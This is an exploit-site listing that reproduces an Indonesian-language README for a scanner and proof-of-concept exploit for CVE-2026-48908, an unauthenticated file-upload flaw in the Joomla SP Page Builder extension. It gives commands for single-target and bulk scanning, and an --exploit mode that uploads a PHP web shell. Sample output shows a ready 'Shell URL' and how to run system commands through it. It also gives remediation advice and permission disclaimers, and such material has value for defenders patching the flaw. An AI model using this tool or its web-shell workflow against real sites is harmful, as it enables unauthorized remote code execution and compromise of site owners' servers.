Sploitus

Exploit for Unrestricted Upload of File with Dangerous Type in Ollyo Sp Page Builder

githubexploit Β· 2026-08-12

Exploit Code

README278 lines
## https://sploitus.com/exploit?id=C4C302F1-2FE9-5C46-B495-395A8DB8A53F
ο»Ώ```markdown
# πŸ” CVE-2026-48908 Scanner + PoC (Safe Exploit)



**[ Joomla SP Page Builder β€” Unauthenticated RCE ]**

![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=for-the-badge&logo=python)
![License](https://img.shields.io/badge/License-MIT-yellow?style=for-the-badge&logo=opensource)
![Joomla](https://img.shields.io/badge/Joomla-3.x%20%7C%204.x-orange?style=for-the-badge&logo=joomla)

**Developed by [yora](https://github.com/yora1928)**



---

## πŸ“Œ Tentang Proyek Ini

Proyek ini adalah **security research tool** yang dikembangkan oleh **yora** untuk mendeteksi dan membuktikan kerentanan **CVE-2026-48908** pada ekstensi **SP Page Builder** untuk Joomla.

Kerentanan ini memungkinkan penyerang **tanpa autentikasi** untuk mengunggah file **PHP** melalui endpoint `asset.uploadCustomIcon`, yang kemudian diekstrak ke direktori publik dan dapat dieksekusi β†’ **Remote Code Execution (RCE)**.

**Versi terpengaruh**: SP Page Builder `1.0.0` s.d. `6.6.1` (diperbaiki di `6.6.2`).

> ⚠️ **Peringatan** – Hanya gunakan pada sistem yang **Anda miliki** atau **Anda memiliki izin tertulis** untuk mengujinya. Penggunaan tanpa izin adalah **ilegal**.

---

## πŸ‘¨β€πŸ’» Pengembang

Proyek ini dikembangkan dan dikelola oleh:

- **yora** β€” [GitHub](https://github.com/yora1928) β€’ [Twitter](https://twitter.com/yora1928)

Didukung oleh komunitas keamanan dan riset independen.

---

## ✨ Fitur Unggulan

| Fitur | Keterangan |
|-------|------------|
| πŸ” **Deteksi Komponen** | Mendeteksi Joomla dan SP Page Builder dari berbagai sumber (robots.txt, administrator, asset, HTML). |
| πŸ“Œ **Fingerprint Versi** | Identifikasi versi SP Page Builder dari CSS/JS, meta tag, dan file manifest. |
| πŸ§ͺ **Validasi Endpoint** | Menguji akses ke `asset.uploadCustomIcon` tanpa autentikasi. |
| πŸ“Š **Klasifikasi Cerdas** | Hasil diklasifikasikan menjadi `CONFIRMED` / `LIKELY` / `NOT_VULNERABLE` / `UNKNOWN` dengan alasan dan tingkat keyakinan. |
| πŸš€ **Exploit Adaptif** | Jika `--exploit` digunakan, tool mencoba berbagai ekstensi PHP (`.php`, `.php3`, `.phtml`, `.PHP`, dll.) dan `.htaccess` untuk membuktikan RCE secara aman. |
| πŸ“ **Output JSON** | Semua bukti disimpan dalam file `.json` untuk audit dan laporan. |
| ⚑ **Multi‑threading** | Scan banyak target sekaligus dengan `--list` dan pengaturan thread. |
| 🧹 **Cleanup** | `--cleanup` menampilkan perintah untuk menghapus artefak yang diunggah. |

---

## πŸš€ Instalasi

### Clone Repository

```bash
git clone https://github.com/yora1928/CVE-2026-48908-by-yora.git
cd CVE-2026-48908-by-yora
```

### Install Dependencies

```bash
python -m pip install -r requirements.txt
```

`requirements.txt`:

```
requests>=2.28.0
```

---

## πŸ“– Panduan Penggunaan

### 1️⃣ Deteksi Saja (Tanpa Eksploitasi)

```bash
python scanner.py --url https://target-website.com
```

**Contoh Output:**

```
[πŸ”΄ CONFIRMED] https://target-website.com
    β”œβ”€ SP detected
    β”œβ”€ v6.3.1
    └─ Vulnerable version 6.3.1 and endpoint open
```

---

### 2️⃣ Deteksi + Bukti RCE (Exploit Aman)

```bash
python scanner.py --url https://target-website.com --exploit
```

**Apa yang terjadi:**

- Tool mendeteksi versi rentan.
- Mengunggah file PHP dengan token rahasia.
- Mencoba mengakses file tersebut untuk memastikan eksekusi.
- Jika berhasil, menampilkan **Shell URL** yang siap pakai.

**Contoh Output Sukses (dari pengujian nyata):**

```
[*] Scanning: https://target-website.com
[*] Target confirmed vulnerable. Running adaptive exploit...
[*] Trying method: php                 -> EXECUTED
[πŸ”΄ CONFIRMED] https://target-website.com
    β”œβ”€ SP detected
    β”œβ”€ v6.3.1
    └─ Vulnerable version 6.3.1 and endpoint open
    └─ βœ… RCE confirmed via PoC upload!
         Shell URL: https://target-website.com/media/com_sppagebuilder/assets/iconfont/icoyjdehd/fonts/fpqofpk.php?t=7f5e90gcxx0j0r51&c=
         Created dirs: media/com_sppagebuilder/assets/iconfont/icoyjdehd
```

**Cara Menggunakan Shell URL:**

- Akses URL dengan parameter `c` berisi perintah yang ingin dijalankan.
- Contoh: `...?t=7f5e90gcxx0j0r51&c=whoami`
- Output perintah akan muncul di halaman.

> πŸ” **Token** (`t=...`) bersifat rahasia – jangan bagikan URL shell ke pihak yang tidak berwenang.

---

### 3️⃣ Scan Banyak Target dari File

Buat file `targets.txt` (satu URL per baris):

```
https://site1.com
https://site2.com
```

Jalankan:

```bash
python scanner.py --list targets.txt --threads 5
```

Dengan exploit:

```bash
python scanner.py --list targets.txt --threads 5 --exploit
```

---

### 4️⃣ Simpan Hasil ke File JSON

```bash
python scanner.py --url https://target.com --output reports/hasil.json
```

---

### 5️⃣ Cleanup (Hapus Artefak)

Setelah selesai, bersihkan direktori yang dibuat:

```bash
python scanner.py --url https://target.com --exploit --cleanup
```

> **Catatan**: `--cleanup` menampilkan perintah `rm -rf` untuk dijalankan manual (karena izin tulis mungkin terbatas). Jika Anda memiliki akses FTP/SSH, hapus direktori yang tertera di `Created dirs`.

---

## πŸ“Š Interpretasi Hasil Klasifikasi

| Status | Arti | Tindakan yang Disarankan |
|--------|------|---------------------------|
| πŸ”΄ **CONFIRMED** | SP Page Builder terdeteksi, versi rentan (≀ 6.6.1), dan endpoint `asset.uploadCustomIcon` dapat diakses tanpa autentikasi. **Rentan.** | Segera perbarui SP Page Builder ke **6.6.2** atau lebih baru. Jika sudah menggunakan `--exploit`, hapus artefak yang diunggah. |
| 🟑 **LIKELY** | SP terdeteksi, versi rentan, tetapi status autentikasi endpoint belum dapat dipastikan. **Kemungkinan besar rentan.** | Lakukan verifikasi manual dengan mengakses endpoint `index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon` tanpa login. Jika tidak diarahkan ke login, maka rentan. |
| 🟒 **NOT_VULNERABLE** | SP Page Builder versi β‰₯ 6.6.2 (sudah diperbaiki) terdeteksi. **Aman.** | Tidak ada tindakan lebih lanjut. |
| βšͺ **UNKNOWN** | SP Page Builder tidak terdeteksi, atau versi tidak dapat diidentifikasi, atau data tidak cukup. | Periksa manual apakah SP Page Builder terpasang. Jika iya, coba deteksi versi melalui file `sppagebuilder.xml` di `/administrator/components/com_sppagebuilder/`. |
| ❌ **ERROR** | Terjadi kesalahan koneksi atau timeout. | Periksa koneksi internet, firewall, atau coba perpanjang timeout dengan `--timeout 60`. |

---

## πŸ“ Contoh Laporan JSON

File `scan_result.json` berisi semua bukti yang dikumpulkan:

```json
{
  "scanner": "CVE-2026-48908 Scanner + Exploit",
  "scan_time": "2026-08-13T10:30:00.123456+00:00",
  "total_targets": 1,
  "results": [
    {
      "target": "https://target.com",
      "classification": {
        "status": "CONFIRMED",
        "confidence": "high",
        "reasoning": ["Vulnerable version 6.3.1 and endpoint open"],
        "evidence_summary": ["SP asset at /components/..."]
      },
      "exploit_result": {
        "upload_success": true,
        "access_success": true,
        "shell_url": "https://target.com/media/.../fpqofpk.php?t=TOKEN&c=",
        "created_dirs": ["media/com_sppagebuilder/assets/iconfont/icoyjdehd"]
      }
    }
  ]
}
```

---

## πŸ“ Struktur Proyek

```
CVE-2026-48908-by-yora/
β”œβ”€β”€ scanner.py          # File utama (deteksi + exploit)
β”œβ”€β”€ requirements.txt    # Dependensi Python
β”œβ”€β”€ README.md           # Dokumentasi ini
β”œβ”€β”€ SECURITY.md         # Kebijakan keamanan dan pelaporan
β”œβ”€β”€ LICENSE             # Lisensi MIT
β”œβ”€β”€ detection/          # (opsional) modul deteksi tambahan
β”œβ”€β”€ poc/                # (opsional) PoC alternatif
└── reports/            # Tempat menyimpan hasil JSON (otomatis)
```

---

## πŸ”’ Etika & Tanggung Jawab

- Gunakan tool ini **hanya** pada sistem yang Anda miliki atau yang telah memberi Anda izin tertulis.
- Jangan gunakan untuk:
  - Pemindaian acak di internet.
  - Pengumpulan target rentan untuk diserang.
  - Akses ilegal ke sistem orang lain.
- Setelah selesai, **hapus semua artefak** (file dan direktori yang diunggah).
- Penulis (yora) tidak bertanggung jawab atas penyalahgunaan alat ini.

> Dengan menggunakan tool ini, Anda menyetujui bahwa Anda sepenuhnya bertanggung jawab atas tindakan Anda.

---

## πŸ“¬ Kontribusi & Pelaporan

Jika Anda menemukan masalah atau ingin berkontribusi, silakan buka **Issue** atau **Pull Request** di repository ini.

Untuk laporan keamanan, ikuti panduan di `SECURITY.md`.

---

## πŸ“œ Lisensi

Proyek ini dilisensikan di bawah **MIT License** – lihat file `LICENSE` untuk detail.

---

## πŸ™ Penghargaan

- Penemuan CVE: **CERT Vanuatu, Censys, Check Point**
- Penelitian & implementasi PoC: **yora** & komunitas keamanan.

---



**Dikembangkan dengan ❀️ oleh [yora](https://github.com/yora1928)**


```